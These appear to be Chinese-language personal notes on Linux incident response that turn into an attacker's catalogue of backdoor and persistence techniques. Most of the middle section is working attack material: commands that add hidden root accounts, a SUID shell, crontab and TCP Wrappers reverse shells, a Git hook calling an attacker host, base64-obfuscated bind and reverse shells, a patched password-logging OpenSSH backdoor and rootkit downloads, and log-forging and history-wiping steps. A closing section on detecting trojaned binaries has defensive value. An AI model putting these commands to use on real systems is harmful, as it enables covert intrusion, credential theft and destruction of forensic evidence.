应急响应


什么是应急响应
PDCERF模型

P   (Preparation准备)
D   (Detection诊断)
C   (Containment抑制)
E   (Eradication根除)
R   (Recovery恢复)
F   (follow-up跟踪)

其实就是为了快速定位问题点,快速解决问题原因

 

应急工具:

ls, ifconfig , ps ,top 

busybox
webshell 检查。病毒查杀

 

诊断:CPU 占用 -> 挖矿

阻断: 比如拔网线

根除: 黑客如何攻进来的,利用什么漏洞,在服务器中做了什么,清除后门,webshell等

恢复,监控: 应急报告

 

BusyBox

BusyBox 是一个集成了三百多个最常用Linux命令和工具的软件。

运维人员开始top、ps等未查找到异常进程是由于该病毒涉及到 Linux动态链接库预加载机制,

是一种常用的进程隐藏方法,而系统的ls,ps等命令已被通过so库的preload机制被病毒劫持。

而busybox是静态编译的,不依赖于系统的动态链接库,从而不受ld.so.preload的劫持,能够正常操作文件。

 

BusyBox下载

cd /bin/
wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox
chmod 755 busybox

 

使用:     

busybox  top    # 软件命令 + 系统命令

 

 


用什么工具来判断后门?

Chkrootkit
Rkhunter

查杀:cleamav (linx 查杀工具)

 

WebShell查杀

D盾查杀
http://www.d99net.net/News.asp?id=62

 

 

 

事件分类
事件分类也就是初步判断什么安全事件,是服务器CPU过高还是出现陌生用户名等

web入侵: 挂马,篡改,webshell
系统入侵: 系统异常,RDP爆破,ssh爆破,主机漏洞病毒
木马: 远控,后门
勒索软件、信息泄露:脱裤、数据库登录(弱口令)
网络流量:频繁发包、批量请求、DDOS攻击

每种事件处理方式不一样

 

Web入侵:挂马、篡改、Webshell
系统入侵:系统异常、RDP爆破、SSH爆破、主机漏洞病毒
木马:远控、后门
勒索软件信息泄漏:拖裤、数据库登录(弱口令)
网络流量:频繁发包、批量请求、DDOS攻击

 

抑制扩散
再排查问题之前记得先抑制,对被入侵的机器进行隔离。防止扩散

通过 iptables 隔离

#!/bin/bash
iptables-save > /root/iptables.bak     # 备份系统的的 iptables文件
iptables -F
iptables -A INPUT -s 允许登录的IP -p tcp --dport 22 -j ACCEPT 
iptables -A OUTPUT -d 允许登录的IP -p tcp --sport 22 -j ACCEPT 
iptables -A INPUT -j DROP
iptables -A FORWARD -j DROP
iptables -A OUTPUT -j DROP

 

通过ssh登录调查取证。清理后门,完成之后需要恢复

iptables-restore < /root/iptables.bak

 

 

常用后门技术

增加超级用户帐号
破解/嗅控用户密码
放置SUID Shell
利用系统服务程序
TCP/UDP/ICMP Shell
Crontab定时任务
共享库文件
工具包rootkit
可装载内枋模块(LKM)

 

应急工具

1. 检查系统用户
2. 检查异常进程
3. 检查异常系统文件
4. 检查网络
5. 检查计划任务
6. 检查系统命令
7. 检查系统日志
8. 检查WebShell
9. 检查系统后门

 

 

常用后门技术
增加超级用户帐号
破解/嗅控用户密码
放置SUID Shell****
利用系统服务程序

 

 

 

Linux中毒的现象

服务器带宽异常
系统产生多余不明用户
开机启动不明服务和crontab任务中一些来历不明的任务
服务器CPU 100% 特别卡
远程连接不上

 

检查步骤
1. 检查系统日志
2. 检查系统用户
3. 检查异常进程
4. 检查异常系统文件
5. 检查网络
6. 检查系统计划任务
7. 检查系统后门
8. 检查系统服务
9. 检查RootKit

 

挖矿木马案件
Redis未授权导致被入侵
种了挖矿程序


Xor DDOS
开发人员设计弱口令导致被种马

 

 

 

 

常用后门技术
  • 增加超级用户帐号
  • 破解/嗅控用户密码
  • 放置SUID Shell****
  • 利用系统服务程序
  • TCP/UDP/ICMP Shell
  • Crontab定时任务
  • 共享库文件
  • 工具包rootkit
  • 可装载内枋模块(LKM)

增加超级用户

echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd               #如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号
echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

 

 

小案例

搞某外企,主站拿不下来进行C段渗透,发现某个业务系统存在Struts2漏洞。
Struts漏洞工具执行命令有些交互式没有办法回显,所以通过无密码添加密码来连接SSH:
useradd seradd -u 0 -o -g root -G roo1
echo"123456" | passwd --stdin roo1   #有些环境中并不能成功
 
跑去登录发现拒绝访问,查看了下/etc/shadow并没有修改成功密码,这时候我考虑了可能设置了密码策略,所以我添加了一个14位,大小写加特殊字符的,还是无法登录,没有办法修改成功,因为无法回显并不知道错误信息,所以试了几个添加密码的方法。
echo "roo1:password" |chpasswd
  #修改密码失败
echo"123456\n123456" |(sudo passwd roo1)
  #有些情况下是可以成功的一条命令

 

 
试了几种方法都没有修改成密码,最后无回显添加Linux密码一种方法:
而这种方法是可以绕过密码强速限制添加的。
bash
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/mx7krshell mx7krshell -p $1$F1B0hFxb$NkzreGE7srRJ**\/

 

果然成功了,后来上服务器用passwd修改密码,提示

 

是之前写的密码太简单了,而服务器有密码策略,然后用mkpasswd自动生成的密码修改尝试 NW8JLHV6m***ug,成功了。
其实这条也是可以成功的,需要密码强度。
base
useradd -u 0 -o -g root -G root  user2  |echo -e "1qaz2wsx\n1qaz2wsx"|passwd user1

 

 

破解

获得shadow文件后,用John the Ripper工具破解薄弱的用户密码,根据我所使用的情况下只能破解一些简单常用密码其它密码很难跑出来。
除此之外可以使用hashcatGPU、或者分布式服务器来进行破解
这里给出之前同事在本地装的一台配置,价格好像也就3万多:
supermicro超微7048GR-TR准系统 双路塔式工作站4 GPU运算服务器 |一台
Intel/英特尔 XEON至强 E5-2620 V3 15M 2.4G 6核12 |2颗
金士顿 16G DDR4 REG ECC 2133 服务器内存条 |2根
三星(SAMSUNG) 850 PRO 512G SATA3 固态硬盘|2块
NVIDIA技嘉GTX1070 Founders Edition 8G| 4张 32G GPU
对于跑Windows密码还是非常快,而遇到Linux加密算法是非常蛋疼,如有需要可以贴出来搭建GPU破解服务器文章。
 

放置SUID Shell

(测试失败):bash2针对suid做了一些护卫措施
普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell

 

Crontab后门

(容易被发现)
crontab命令被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
在Redis未授权访问中可以利用此方法获取Shell。
(crontab -l;printf"*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;\rno crontab for `whoami`%100c\n")|crontab –

 

ssh 公钥免密

(容易被发现)
ssh-keygen -t rsa         #把id_rsa.pub写入服务端的authorized_keys中
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

 

 

alias 后门

当前用户目录下.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

 

pam 后门 or openssh

参考:
关于openssh通用后门的拓展
 
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff     #patch 后门

 

vi includes.h     #修改后门密码,记录文件位置,
/*
+#define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码
+#define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码
+#define SECRETPW "123456654321" //你后门的密码
*/
yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
 
yum install -y zlib zlib-devel
make && make install
service sshd restart //重启sshd
 
Centos6可以使用后门,但是配合curl把登录密码发送到服务器失败
 

SSH后门

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
执行完之后,任何一台机器ssh root@IP -p 31337不需要密码
 
 

SSH wrapper后门简介

init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。
原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。
这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。
此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
cd /usr/sbin/
mv sshd ../bin/
echo'#!/usr/bin/perl' >sshd
echo'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
 
连接:
socat STDIO TCP4:target_ip:22,sourceport=13377
默认端口为13377否则会出现:
 
 

mafix rootkit

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现让攻击者远程登陆的,特点是配置简单并可以自定义验证密码和端口号。
不知道我测试是否有问题很多系统不被支持
 

利用系统服务程序

修改
vim /etc/inetd.conf
daytime stream tcp nowait /bin/sh sh –I
用trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序
 

TCP/UDP/ICMP Shell

Ping Backdoor,通过ICMP包激活后门, 形成一个Shell通道。
TCP ACK数据包后门,能够穿越防火墙。
Linux下的icmp shell后门 容易被发现
 
被控端
./ishd -i 65535 -t 0 -p 1024 -d

 

控制端
./ish -i 65535 -t 0 -p 1024 192.168.1.69

 

Linux下ICMP后门PRISM
使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息的ICMP数据包,通过私有密钥可以阻止第三方访问。
后门进程接受ping包激活。
 
编译安装:
gcc <..OPTIONS..> -Wall -s -o prism prism.c
  -DDETACH          #后台运行
  -DSTATIC          #开启STATIC模式 (默认ICMP模式)
  -DNORENAME        #不使用自定义的进程名
  -DIPTABLES        #清空所有的iptables规则
用的是单台机器测试所以2个IP一样:
sendPacket.py 内机 FUCK 控制端 19832

 

 
测试感觉还行,不知道在真实环境下能否维持多久。
其它文章:

 

共享库文件

在共享库中嵌入后门函数
使用后门口令激活Shell,获得权限
能够躲避系统管理员对二进制文件本身的 校验

可装载内核模块(LKM)

LKM:Loadable Kernel Modules
动态的加载,不需要重新编译内核。
截获系统调用,具有隐藏目录、文件、进 程、网络连接等强大功能。
自身隐蔽性好,发现难度较大。
著名的LKM包有adore和knark。
内核级rootkit Kbeast的安装与使用
支持的内核版本有2.6.16, 2.6.18, 2.6.32, and 2.6.35。
wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz

 

config.h  配置密码等

 

安装./setup build

 

守护进程的PID是1747
隐藏目录:

 

 
通过命令是无法查看开放端口的

 

ps aux命令也是无法查看到进程,除非指定进程名称,我们把后门进程名称伪靠系统服务也是可以让管理员头疼。
而通过nmap全端口扫描出现了13377后门端口,通过telnet连接

 

使用总结
隐藏进程、隐藏端口
支持版本太少、重启将失效。

隐藏文件

Linux/Unix 藏文件和文件夹
Linux/Unix 下想藏 Webshell 或者后门什么的,可以利用一下隐藏文件夹和文件。
方法一
比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹

 

终极方法
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 ... 就行,目录同理。
touch ... 创建名字为 ... 的文件
mkdir ... 创建名字为 ... 的文件夹

 

Git hooks

原是XTERM反弹Shell,老外与Git结合
echo "xterm -display <attacker IP>:1 &" > .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
Xnest:1
当更新git的时候会触发:
git commit -am "Test"

 

PROMPT_COMMAND后门

bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。
一般运维人员都将用来记录每个用户执行命令的时间ip等信息。
每执行一个命令之前都会调用这个变量将你操作的命令记录下来。
export PROMPT_COMMAND='{ date "+[ %Y%m%d %H:%M:%S `whoami` ] `history 1 | { read x cmd; echo "$cmd from ip:$SSH_CLIENT $SSH_TTY"; }`"; }&gt;&gt; /home/pu/login.log'

 

但是在安全人员手里味道变得不一样了
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c \"exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))\" 2>/dev/null &)"
 

 

Base64解密:
python
import socket,os,sys
s=socket.socket()
s.bind(("",1025))
s.listen(1)
(c,a)=s.accept()
while 1:
    d=c.recv(512)
    if 'exit' in d:
        s.close()
        sys.exit(0)
        r=os.popen(d).read()
        c.send(r)

 

 
一段简单的python socks监听命令

 

 
NC连接
nc 192.168.1.174 1025

 

 

 

PROMPT_COMMAND提权

这个只是留做后门,有些黑客则是利用这点来进行提权。
这个要求管理员有su的习惯,我们可以通过它来添加一个id=0的用户
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

 

 
除此之外可以利用script记录某人行为:
基本用法:
script -t 2>demo.time -a demo.his 记录保存为录像
scriptreplay demo.time demo.his 播放记录

 

 

用户家目录下,修改环境变量,使得用户登录就会触发录像
vim  ~/.profile
script -t -f -q 2>/wow/$USER-$UID-`date +%Y%m%d%H%M%S`.time -a /wow/$USER-$UID-`date +%Y%m%d%H%M%S`.his

 

Sudoers "trick"

其实Sudoers并不算后门,是一个Linux用户控制权限
通过root权限改写对普通用户可执行root命令
sudo su -c "echo 'mx7krshell ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"
授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2,...
 

 

TCP Wrappers

TCP_Wrappers是一个工作在应用层的安全工具,它只能针对某些具体的应用或者服务起到一定的防护作用。
比如说ssh、telnet、FTP等服务的请求,都会先受到TCP_Wrappers的拦截。
TCP_Wrappers有一个TCP的守护进程叫作tcpd。
以telnet为例,每当有telnet的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,合乎要求,则会把这次连接原封不动的转给真正的telnet进程,由telnet完成后续工作;
如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供telnet服务。
ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/<Attack IP>/443 0>&1") & :allow
ssh访问目标主机 ssh qweqwe@192.168.4.100 触发后门

 

nmap nse后门

很多linux系统中默认都安装了nmap
mkdir -p ~/.nmap/scripts/
cd ~/.nmap/scripts/
curl -O 'https://raw.githubusercontent.com/ulissescastro/linux-native-backdoors/master/nmap/http-title.nse'
local payload = "ZWNobyAiKi8xICogKiAqICogcHl0aG9uIC1jIFwiZXhlYygnYVcxd2IzSjBJSE52WTJ0bGRDeHpkV0p3Y205alpYTnpMRzl6TzJodmMzUTlKekV5Tnk0d0xqQXVNU2M3Y0c5eWREMDBORE03Y3oxemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTazdjeTVqYjI1dVpXTjBLQ2hvYjNOMExIQnZjblFwS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdiM011WkhWd01paHpMbVpwYkdWdWJ5Z3BMREVwTzI5ekxtUjFjRElvY3k1bWFXeGxibThvS1N3eUtUdHdQWE4xWW5CeWIyTmxjM011WTJGc2JDaGJKeTlpYVc0dlltRnphQ2NzSUNjdGFTZGRLVHNLJy5kZWNvZGUoJ2Jhc2U2NCcpKVwiIiB8IGNyb250YWI="

 

base64解密
echo "*/1 * * * * python -c \"exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO2hvc3Q9JzEyNy4wLjAuMSc7cG9ydD00NDM7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChob3N0LHBvcnQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbJy9iaW4vYmFzaCcsICctaSddKTsK'.decode('base64'))\"" | crontab#

 

解密
import socket,subprocess,os;host='127.0.0.1';port=443;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash', '-i']);

 

可以将127.0.0.1改成你的地址

 

进程注入

cymothoa进程注入后门
./cymothoa -p 1014 -s 0 -y 8888

只能连接一次后就失效没啥用。
 

清理

 # bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null

 

修改上传文件时间戳

touch -r 老文件时间戳 新文件时间戳

 

伪造Apache日志中的指定IP

sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.log
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log

 

Linux日志清除

首先是Apache日志,Apache主要的日志就是access.logerror_log,前者记录了HTTTP的访问记录,后者记录了服务器的错误日志。
根据Linux的配置不同和Apache的版本的不同,文件的放置位置也是不同的,不过这些都可以在httpd.conf中找到。
对于明文的Apache文件,通过正则表达式就可以搞定:
sed –i 's/192\.168\.1\.3/192\.168\.1\.4/g' /var/log/apache/ access.log
sed –i 's/192\.168\.1\.3/192\.168\.1\.4/g' /var/log/apache/error_log

 

 
其中192.168.1.3 是我们的IP,192.168.1.4 使我们伪造的IP。
在正则表达式中有特殊的含义,所以需要用“\”来进行转义。
MySQL日志文件
vim  /etc/my.cnf
log-error=/var/log/mysql/mysql_error.log #错误日志
log=/var/log/mysql/mysql.log#最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等
log-bin=/var/log/mysql/mysql_bin.log # 用于备份恢复,或主从复制.这里不涉及。
log-slow-queries=/var/log/mysql/mysql_slow.log #慢查询日志
log-error=/var/log/mysql/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid
sed –i 's/192\.168\.1\.3/192\.168\.1\.4/g'  /var/log/mysql/mysql_slow.log
至于二进制日志文件,需要登录mysql client来修改删除,建议这种操作最先执行。
 
 
php日志修改
sed –i 's/192\.168\.1\.3/192\.168\.1\.4/g'/var/log/apache/php_error.log
 
最后就是Linux的日志文件了,这个比较多,记录的也比较复杂,我的环境是CentOS 6.3。
我现在只把和渗透有关的文件列出来,
主要在/etc/logrotate.d/syslog中:
/var/log/maillog  
# 日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
var/log/messages
# 该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格
/var/log/wtmp

# 该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。
# 该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录
/var/run/utmp

# 该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。
# 系统中需要查询当前用户状态的程序,如who、w、users、finger等就需要访问这个文件
/var/log/xferlog
# 该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。 # 该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。
bash_history
# 这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置), # 通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件

 

之前记录的笔记反过来看Linux后门的各种类型也算是比较全面了,最后我还是没有找到中意的后门,商业的又买不起,自己又不会写,转行了转行了搞毛渗透。
 
参考链接:

后门的检测

使用Tripwire或md5校验来检查系统。
借助IDS系统,监听到目标机器的可疑网络连接。

被入侵检测流程

检查web应用层后门

检查发现,服务器对外发布的网站为tomcat服务器,对内是做了服务器负载轮训,对应里边两台内网服务器,全部是sunos服役三五年了的服务器,登录服务器上把web目录的全部文件下载过来本地检查发现,其中R00T目录下存在多个木马文件,还藏的很深且这家伙把文件命名为config,不看内容还真以为就是个正常配置文件呢,另外在其他的文件夹下还发现有用于部署木马的war包,这个是tomcat用来发布应用用的文件包,里面包含有木马文件,服务器上的很快就查出并确定的木马文件,于是叫管理员备份当前web目录,并清理发现的木马以及木马包文件。

检查系统层后门

web上的木马是查出来了,并做了取证备份清理工作,接下来由于担心那人不会进一步提权进入系统留下系统级别的后门,
这也是本文的重点讨论的问题, 正对linux类unix的木马后门特别的针对rootkit级别的检查这个我还真不太会呢,于是采用最原始方法:
1.检查系统账户明确每个账户
2.检查history历史操作记录
3.检查系统开放端口及应用
4.检查系统服务
5.检查启动项
6.检查系统执行计划
7.检查系统日志特别是tomcat日志
 

检查内核级后门

如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了,
言归正传:
1. 检查rootkit首先,
2. 检查系统加载的模块,
3. 在LINUX系统下使用lsmod命令,
4. 在solaris系统下使用modinfo命令来查看。
这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动,而solaris下就很多,没别的办法,只有一条一条地去分析。
对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。
我们可以通过替换 create_module() 和 delete_module() 来达到上述目的。
 
另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。
如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。
出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。
Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。
 
下载Rootkit Hunter地址
wget https://jaist.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.6/rkhunter-1.4.6.tar.gz

 

安装后就可以向系统命令一样,可以直接运行rkhunter --checkall
run ->  rkhunter --checkall

 

 
 
 
 
其他的一些后门途径
1.常用账号后门
检查如下账号的口令是否被改变用作后门:
bin, daemon, adm, lpsync, shutdown, halt, mail, news, uucp, games, gopher, ftp, nobody, xfs, named, gdm, sys, nuucp, listen

 

特别是对上面的这些账号检查 /etc/passwd
user_name :passwd : uid : gid : note : home_directory : shell
查看 shell 字段是否被改为诸如/bin/sh 之类的。
 
2.Rhosts++ 后门
检查 /etc/hosts.equiv 和每个用户的 $HOME/rhosts,查看是否增加了"信任"主机。
 
3.二进制木马后门
二进制木马后门是在系统的二进制可执行程序中置入后门,方法是把这些可执行程序。
替换成特洛伊(trojan)木马程序,这或者是通过篡改源代码重新编译来实现,或者是借助工具直接向程序文件中加入代码来实现。
 
对这类后门检查的第一步是检查时间戳与校验,如果已经对文件用诸如 tripwire这类工具作了时间戳与校验和记录,检查时间戳与校验,如果没有,用 " ls -l "和" stat "检查时间戳,查看是否有明显不符的,如果发现不符,极可能是被替换成特洛伊木马置入后门了,仔细作进一步查证。
 
对于网络应用程序,运行它,用 netstatlsof 命令查看有没有什么不正常的行,尤其是查看有没有什么不正常的端口被打开,有没有什么不正常的文件被打开,详细情况参看"daemon 服务后门"一节相关内容.如果有这些异常出现,极可能后门,作进一步查证作进一步查证时,
第一步,   用 strings 命令查找程序中有没有异常字符串.
第二步,如有必要,需要对二进制代码与干净程序进行比较."动态库后门"一节中给了一个shell 脚本,用来做这件事。
 
对这类后门,重点进行检查的是这样一些程序
 
4. Linux 系统:
in.ftpd、in.telnetd、in.rshd、in.rlogind、in.rexecd、in.talkd、in.ntalkd、
in.dtalkd、ipop2d、ipop3d、imapd、uucico、in.tftpd、bootpd、in.fingerd、
in.cfingerd、in.identd、in.comsat

 

init.d目录中下面这些脚本调用的二进制可执行程序:
anacron、apmd、arpwatch、atd、crond、functions、gpm、halt、httpd、httpd.orig、identd、inet、ipchains、ipsec、irda、kdcrotate、keytable killall
kudzu、linuxconf lpd、named、netfs、network、nfs、nfslock、pcmcia、portmap、random、rstatd、rusersd、rwalld、rwhod、sendmail、single、snmpd、syslog、
xfs、ypbind、yppasswdd、ypserv

 

5.login 后门:
如果 " strings /bin/login | grep crypt " 有输出,一定是 trojan 的 login。
如果没有输出,需作进一步考虑。
login 后门在验证用户名时,在原来的程序中增加如下代码:
char rewt[5];
rewt[0]='r';
rewt[1]='e';
rewt[2]='w';
rewt[3]='t';
rewt[4]='\0';
if (!(strcmp(name,rewt))) {
  strcpy(name,"root");
    elite++;
}

 

再在查口令时增加如下的代码:
char MAG[7];
MAG[0] = '*';
MAG[1] = '*';
MAG[5] = '*';
MAG[6] = '\0';
if (!strcmp(input,MAG))
return3;
input 变量为用户输入的口令,"return 3"表示验证成功。
 
 
6.ls、dir、vdir 后门:
lsdir、vdir    # 后门的用意是隐藏文件和目录。
如果命令行中执行这些命令可以加 '  -/  ' 选项(原有代码中没有这个选项),那么,说明已经被木马了。
检查 /dev 目录,查找是否有诸如"  /dev/ptyr  " 之类的文件,用" ls -l "
看结果是否为:
-rw-rw-rw- 1 root tty 2164 May 6 1998/dev/ptyr
而不是
crw-rw-rw- 1 root tty 2164 May 6 1998/dev/ptyr
brw-rw-rw- 1 root tty 2164 May 6 1998/dev/***
如果有,说明已经有木马了。
 
如果 strings ls | grep "/dev/pty" 有输出,或者直接 strings ls
发现可疑路径和文件名,说明已经 trojan 了.对 dir、vdir 也一样.
 
du 后门:
du : 后门同样是用来隐藏文件和目录。

 

如果命令行中执行这些命令可以加  ' -/ ' 选项(原有代码中没有这个选项),那么,说明已经被木马了。
检查 /dev 目录,查找是否有诸如" /dev/ptyr " 之类的文件,用" ls -l "
 
看结果是否为:
-rw-rw-rw- 1 root tty 2164 May 6 1998/dev/ptyr
而不是
crw-rw-rw- 1 root tty 2164 May 6 1998/dev/ptyr
brw-rw-rw- 1 root tty 2164 May 6 1998/dev/***
如果有,说明已经有木马了。
如果 strings du | grep "/dev/pty" 有输出,或者直接 strings du
发现可疑路径和文件名,说明已经 trojan 了。
 
7.ifconfig 后门:
ifconfig : 后门就是把下面一行代码注释掉,
if (ptr->flags& IFF_PROMISC) printf("PROMISC ");
以去掉网卡混杂模式显示,如果 "strings /sbin/ifconfig | grep PROMISC" 没有输出,肯定 ifconfig 已被trojan 了。
 
 
8.netstat 后门:
检查 /dev 目录,查找是否有诸如"/dev/ptyq" 之类的文件,用"ls -l"
看结果是否为:
-rw-rw-rw- 1 root tty 2164 May 6 1998/dev/ptyq
而不是
crw-rw-rw- 1 root tty 2164 May 6 1998/dev/ptyq
brw-rw-rw- 1 root tty 2164 May 6 1998/dev/***
如果有,而执行 netstat 时用lsof 发现它被打开,说明 netstat 被木马了.
如果命令行中 netstat 接受'-/' 选项(原有代码中没有这个选项),那么,
netstat 肯定被 trojan 了。
如果 strings netstat | grep "/dev/pty" 有输出,或者直接 strings netstat
发现可疑路径和文件名,说明已经 trojan 了。
 
netstat 木马程序的一个实现不支持 "-p" 选项,而系统自身的 netstat 实现支持"-p" 选项.因此如果发现 netstat 不支持"-p" 选项,肯定 netstat被换成木马程序了.
另外,Linux系统的 "-p" 选项表示打印出进程号(pid)和程序名(programname)信息,而 Solaris 系统上 "-p" 表示打印出网络接口的协议信息.如果发现与这一点不符,
netstat 就被换成木马程序了.注意区别:
[root@Solaris2.7/root]> netstat -p | more
Net to Media Table
Device IP Address Mask Flags Phys Addr
hme0 gateway 255.255.255.255 :::::
hme0 192.168.. 255.255.255.255 :::::
hme0 192.168.. 255.255.255.255 :::::

 

[root@redhat62/root]# netstat -p | more
Active Internetconnections (w/o servers)
Proto Recv-Q Send-QLocal Address Foreign Address State PID/Program name
tcp 0 0 ******:telnet ******:1034 ESTABLISHED 2780/in.telnetd:sc
tcp 0 0 ******:ssh ******:1038 ESTABLISHED 2715/sshd2

 

9.ps 后门:
检查 /dev 目录,查找是否有诸如"/dev/ptyp" 之类的文件,用"ls -l"
看结果是否为:
-rw-rw-rw- 1 root tty 2164 May 6 1998/dev/ptyp
而不是
crw-rw-rw- 1 root tty 2164 May 6 1998/dev/ptyp
brw-rw-rw- 1 root tty 2164 May 6 1998/dev/***
如果有,而执行 ps 时用lsof 发现它被打开,说明 ps 被木马了.
如果命令行中 ps 接受'-/' 选项(原有代码中没有这个选项),那么,肯定被 trojan 了。
如果 strings netstat | grep "/dev/pty" 有输出,或者直接 strings ps
发现可疑路径和文件名,说明已经 trojan 了.
 
 
10.top 后门:
检查 /dev 目录,查找是否有诸如"/dev/ptyp" 之类的文件,用"ls -l"
看结果是否为:
-rw-rw-rw- 1 root tty 2164 May 6 1998/dev/ptyp
而不是
crw-rw-rw- 1 root tty 2164 May 6 1998/dev/ptyp
brw-rw-rw- 1 root tty 2164 May 6 1998 /dev/***

 

如果有,而执行 top 时用lsof 发现它被打开,说明 top 被木马了.
如果命令行中 top 接受'-/' 选项(原有代码中没有这个选项),那么,top 肯定被 trojan 了。
